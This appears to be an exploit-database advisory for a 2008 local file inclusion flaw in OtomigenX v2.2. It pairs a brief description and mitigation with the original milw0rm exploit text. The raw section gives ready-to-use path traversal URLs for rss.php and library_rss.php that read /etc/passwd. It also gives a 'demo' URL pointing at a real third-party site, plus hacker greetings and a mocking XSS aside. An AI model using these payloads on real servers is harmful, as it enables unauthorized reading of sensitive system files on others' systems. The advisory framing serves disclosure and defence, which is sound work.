OtomigenX v2.2 (lang) Local File Inclusion

vendor:

OtomigenX v2.2

by:

Saime

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: OtomigenX v2.2

Affected Version From: OtomigenX v2.2

Affected Version To: OtomigenX v2.2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

OtomigenX v2.2 (lang) Local File Inclusion

OtomigenX v2.2 is vulnerable to Local File Inclusion. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow the attacker to read sensitive files on the server, such as /etc/passwd.

Mitigation:

The best way to mitigate this vulnerability is to restrict access to the vulnerable file and to validate user input.

Source

Exploit-DB raw data:

[+] Author: Saime
[+] Script: OtomigenX v2.2 (lang) Local File Inclusion
[+] URL: http://kmrg.itb.ac.id/otomigenx/?menu=download
[+] Date: 28/05/2008
[+] Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed,GM,str0ke, and everyone else I forgot!
[+] Site: http://h4ck-y0u.org

[+] File: library_rss.php/rss.php
[+] Exploit:
http://localhost/otomigenx/rss.php?lang=../../etc/passwd
http://localhost/otomigenx/library_rss.php?lang=../../etc/passwd
[+] Demo:
http://kmrg.itb.ac.id/otomigenx/library_rss.php?lang=../../../../../etc/passwd
[+] Notes: Don, hows the threaded version going? lololol ( javascript:alert('noob'); ) or should it be plain xss? LOLOL

# milw0rm.com [2008-05-27]